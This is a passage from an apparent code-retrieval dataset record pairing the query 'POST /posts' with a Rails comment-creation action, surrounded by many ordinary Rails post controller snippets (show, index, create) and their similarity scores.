"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @post }\n format.json do\n render :json => @post.to_json(:only => [:id, :title, :text, :lat, :lng, :created_at, :post_type, :likes], \n :methods => [:image_url, :video_url], \n :include => [:comments])\n end\n end\n end",
"def index\n @posts = Post.all.reverse\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def display_post\n begin\n # asks the user for the post id\n print \"Enter the post ID: \"\n id = STDIN.gets.chomp\n response = RestClient.get \"#{@@DOMAIN}/api/posts/#{id}.json\", authorization_hash\n\n js = JSON response.body\n js.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def index\n @posts = PostService.getAllPosts\n end",
"def show\n render json: {\n data: @post\n }\n end",
"def show\n @post = Post.find(params[:id])\n @videos = Video.get_for @post #where([\"post_id = ?\", params[:id]]).all\n @background = get_background_for @post #Background::DEFAULT #Background.where([\"post_id = ?\", params[:id]])\n @nav = get_navigation :for => 'post', :current => @post\n @menu = get_menu :for => 'post'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n @posts = Post.order(created_at: :desc)\n respond_to do |format|\n format.html { render }\n format.text { render }\n format.xml { render xml: @posts }\n format.json { render json: @posts.to_json }\n end\n end",
"def get(options = {})\n response= handle_errors { self.class.get('/get', :query => options)}\n if response[\"posts\"][\"post\"].is_a?(Hash)\n Rubycious::Post.new response[\"posts\"][\"post\"]\n elsif response[\"posts\"][\"post\"].is_a?(Array)\n response[\"posts\"][\"post\"].collect{|i| Rubycious::Post.new(i)}\n else\n nil\n end\n end",
"def show\n if !params[:id]\n @post = Post.find_by_title('Welcome')\n elsif params[:id] =~ /^[a-zA-Z ]+$/\n @post = Post.find_by_title(params[:id])\n else\n @post = Post.find(params[:id].to_i)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @blogpost = Blogpost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blogpost }\n end\n end",
"def show\n @blog_post = BlogPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blog_post }\n end\n end",
"def index\n @post = Post.find_by_id(params[:post_id])\n if @post.nil?\n return render json: { error: \"Post not found\" }, status: :not_found\n end\n render json: @post.comments,status: 200\n end",
"def show\n @post2 = Post2.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post2 }\n end\n end"
] | [
"0.7712599",
"0.7355032",
"0.7344417",
"0.7338935",
"0.732417",
"0.72942096",
"0.7277042",
"0.72568655",
"0.71634257",
"0.7161018",
"0.71573496",
"0.71573496",
"0.7121699",
"0.70960927",
"0.70960927",
"0.70960927",
"0.7095103",
"0.7072778",
"0.70621663",
"0.7046504",
"0.7032543",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.70204794",
"0.6989959",
"0.6956727",
"0.69558454",
"0.69558454",
"0.69386744",
"0.6937082",
"0.6924636",
"0.6918779",
"0.69031763",
"0.6902033",
"0.6896903",
"0.6896007",
"0.68761516",
"0.6860617",
"0.68543375",
"0.6853343",
"0.6848006",
"0.6837576",
"0.68256253",
"0.68105406",
"0.6805483",
"0.6763301",
"0.6744738",
"0.67226803",
"0.6721051",
"0.67156845",
"0.67144966",
"0.6698951",
"0.66928995",
"0.6682019",
"0.6656618",
"0.66463864",
"0.6642485",
"0.6631618",
"0.6620315",
"0.6619073",
"0.66126525",
"0.6610603",
"0.66024035",
"0.65976596",
"0.6597466",
"0.6592532",
"0.65865356",
"0.658253",
"0.6582063",
"0.65766907",
"0.6573866",
"0.6569273",
"0.6566528",
"0.6556098",
"0.6536182",
"0.6526606",
"0.6514966",
"0.65144324",
"0.64981675",
"0.6497003",
"0.6493739",
"0.6492063",
"0.6473186",
"0.6472772",
"0.64666295",
"0.6455165",
"0.6452661",
"0.64479727",
"0.644663",
"0.64289725"
] | 0.0 | -1 |
POST /posts POST /posts.json | def create
@comment = @post.comments.new(comment_params)
if @comment.save
render json: @comment, status: :created
else
render json: @comment.errors, status: :unprocessable_entity
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n render json: Post.create(params[\"post\"])\n end",
"def create\n respond_with Post.create(params[:posts])\n end",
"def create\n @post = Post.create(post_params)\n render json: @post, serializer: PostSerializer\n end",
"def create\n @post = Post.new(post_params)\n @post.user = current_user\n\n if @post.save\n render json: @post, status: :created, location: api_v1_post_path(@post), serializer: Api::V1::PostSerializer\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = current_user.posts.new(post_params)\n\n if @post.save\n render json: {\n data: @post\n }\n else\n render json: {\n errors: @post.errors\n }\n end\n end",
"def create\n post = @current_user.posts.create(post_params)\n\n if post.save\n render json: post\n else\n render json: { errors: post.errors.full_messages }, status: :forbidden\n end\n end",
"def create\n title = params[:title]\n body = params[:body]\n\n @post = current_user.posts.create(title: title, body: body)\n\n if @post.save!\n json_response(@post)\n else\n json_response(@post.errors)\n end\n end",
"def create\n @post = Post.new({ :title => params[:post][:title] })\n \n respond_to do |format|\n if @post.save\n format.json { render :json => { :post => @post.as_json}, :status => :created, :location => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.find(params[:user_id])\n @post = @user.posts.new(post_params)\n\n if @post.save\n render json: @post, status: :created, location: [@user, @post]\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = Post.new(post_params)\n\n if @post.save\n render json: {\n message: 'Post was successfully created.'\n }, status: :created\n else\n render json: {\n errors: @post.errors,\n message: 'Post could not be created.'\n }, status: :unprocessable_entity\n end\n end",
"def post(id, opts = {})\r\n uri = url_for(\"posts/#{id}\", opts)\r\n response = RestClient.get(uri)\r\n JSON.parse response\r\n end",
"def create\n\n\n @post = current_user.posts.build(post_params)\n\n if @post.save\n\n render json: \"Posted successfully\", status: 201\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\tpost = @current_user.posts.create(post_params) \n\t\tif post.save\n\t\trender json: {success: true, auth_token: @current_user.authentication_token, post_id: post.id}\n\t else\n\t render json: {success: false, errors: post.errors.full_messages, message: \"Validation failed\"}, status: 422\n\t\tend \n\tend",
"def create\n @post = Post.new(params[:post])\n respond_to do |format|\n if @post.save\n format.json { render :json => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity}\n end\n end\n #respond_with Post.create(params[:post])\n end",
"def create_posts\n end",
"def create_posts\n end",
"def create_post\n begin\n #asks the user for the title, body, and whether it should be anonymous\n print \"Title: \"\n title = STDIN.gets.chomp\n print \"Body: \"\n body = STDIN.gets.chomp\n print \"Post as Anonymous? (y/n): \"\n anonymous = STDIN.gets.chomp.upcase == 'Y' ? true : false\n # check user information from login\n\n # Rails will reject this unless you configure the cross_forgery_request check to\n # a null_session in the receiving controller. This is because we are not sending\n # an authenticity token. Rails by default will only send the token with forms /users/new and\n # /users/1/edit and REST clients don't get those.\n # We could perhaps arrange to send this on a previous\n # request but we would then have to have an initial call (a kind of login perhaps).\n # This will automatically send as a multi-part request because we are adding a\n # File object.\n response = RestClient.post \"#{@@DOMAIN}/api/posts.json\",\n\n {\n post: {\n title: title,\n body: body,\n anonymous: anonymous\n },\n }, authorization_hash\n\n if (response.code == 201)\n puts \"Created successfully\"\n end\n puts \"URL for new resource: #{response.headers[:location]}\"\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def create\n @api_post = Api::Post.new(api_post_params)\n\n if @api_post.save\n render json: @api_post, status: :created, location: @api_post\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.json { render :show, status: :created, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \tif logged_in?\n params[:post][:user_id] = current_user.id\n @post = Post.new(post_params)\n if @post.save\n puts @post.published\n render json: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end\n end",
"def create\n respond_with Post.create(post_params)\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def post(*args)\n request(:post, *args)\n end",
"def post(*args)\n request :post, *args\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @api_post = current_user.posts.new(api_post_params)\n if @api_post.save\n render :show\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def create\n authenticated\n\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new post_params\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n if @post.save\n render :show, status: :created, location: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n puts \"create post: #{post_params.inspect}\"\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n @title = \"Create New Post\"\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, :notice => 'Post was successfully created.' }\n format.json { render :json => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def json_post\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n puts \"json_post: submitting #{params[:path]}\" if @@debug\n path = params[:path]\n if path\n puts \"json_post: path is #{path} l=#{path.length}\" if @@debug\n path = path.split('/').compact()\n path.delete('')\n # you cannot make rooted nodes via json atm... fix? xxx\n if path.length > 1\n name = path.pop\n nodes = Note.make_path @user,path\n puts \"json_post: making at path #{path.join('/')}\" if @@debug\n if nodes\n note = nodes.last.make_child @user,params,name\n puts \"json_post: made child #{note} from #{name} l=#{name.length}\"\n params[:path] = path.join('/') # for call to json_query\n # it is important to do a query rather than returning the note; to get freshest order\n json_query\n return\n #write_json note if note\n end\n end\n end\n render :nothing => true\n end",
"def create\n post_service = PostService.new(current_user, params)\n post_service.create_post\n #post_service.create\n respond_to do |format|\n if post_service.save?\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { redirect_to new_post_url, alert: post_service.errors }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.json { render json: @post, status: :created, location: @post }\n format.xml { render xml: @post, status: :created, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.xml { render xml: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #raise params.inspect\n \n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @posts = Post.page(params[:page]).order('created_at desc')\n @post = Post.new(post_params)\n @user = User.where('account_id == ?', current_account.id)[0]\n respond_to do |format|\n if @post.save\n format.html { redirect_to '/posts' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :index }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\t\t\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user_post_param\n respond_to do |format|\n if @post.save\n format.html do\n redirect_to @post, notice:\n \"Post was successfully created.\"\n end\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json do\n render json: @post.errors, status:\n :unprocessable_entity\n end\n end\n end\n end",
"def create\n @api_v1_post = Api::V1::Post.new(api_v1_post_params)\n\n respond_to do |format|\n if @api_v1_post.save\n format.html { redirect_to @api_v1_post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_post }\n else\n format.html { render :new }\n format.json { render json: @api_v1_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_user.posts.new(params[:post])\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n @post.user_id = current_user.id\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { redirect_to posts_path, flash: { error: @post.errors.full_messages } }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(path, data = {})\n request 'POST', path, body: data.to_json\n end",
"def create\n @user = current_user\n @post = @user.posts.build(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n post = Post.new\n render json: post\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save?\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @post = Post.new(params[:post])\r\n\r\n respond_to do |format|\r\n if @post.save\r\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\r\n format.json { render json: @post, status: :created, location: @post }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @post.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @post = Post.create(post_params)\n set_posts\n respond_to do |format|\n format.js\n format.html\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, :notice => \"slam\" }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { redirect_to posts_path }\n flash[:alert] = \"shit.\"\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n post\n end",
"def create\n @post = Post.new(content: params[:post][:content], user_id: @user.id)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @user }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { redirect_to @user }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def create\n @post = Post.new(post_params)\n @post.user_id = params[:user_id]\n if @post.save\n render json: @post, meta: { status: :created }, meta_key: 'result', status: :created\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = current_user.posts.new(post_params.merge(writter: current_user.name))\n\n if @post.save\n render json: {status: 1, id: @post.id.to_s, notice: \"新增成功,标题是:#{@post.title.capitalize}\", number: @post.number, errors: []}\n else\n render json: {status: -1, notice: \"新增失败,请先登录\", errors: @post.errors.full_messages}\n end\n end",
"def create\n puts \"Trying to Create New Post\"\n # Creates new post with given content tied to given userid\n @post = Post.new(post_params) \n if @post.save\n puts \"Post successfully created\"\n response.status=(201)\n render json: {status: \"Success\", message: [\"Post created!\"]}\n else\n # Error handling\n puts \"Something went wrong while creating new Post\"\n puts(@Post.errors.full_messages)\n response.status=(422)\n render json: { status: \"Error\", message: [@post.errors.full_messages]}\n end\n end",
"def create\n @post = current_user.posts.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to list_of_posts_post_path(@post.user), notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(*args)\n execute(:post, *args)\n end",
"def post(*args)\n prepare_request(:post, args)\n @@client.add(:post, @path, *args)\n end",
"def create\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n redirect_to posts_path and return unless Mist.authorized?(:create_post, self)\n coerce_date(params[:post], 'published_at')\n @post = Mist::Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, :notice => 'Post was successfully created.' }\n format.json { render :json => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_user.posts.build(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to new_post_successful_posts_path, notice: 'Anúncio criado com sucesso.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n @post.user = User.find_by_auth_token!(cookies[:auth_token])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n redirect_to login_path unless session[:user_id]\n message = 'Post was successfully created.'\n @post = Post.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: message }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_user.posts.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.74453115",
"0.73224664",
"0.73065",
"0.7123661",
"0.7014955",
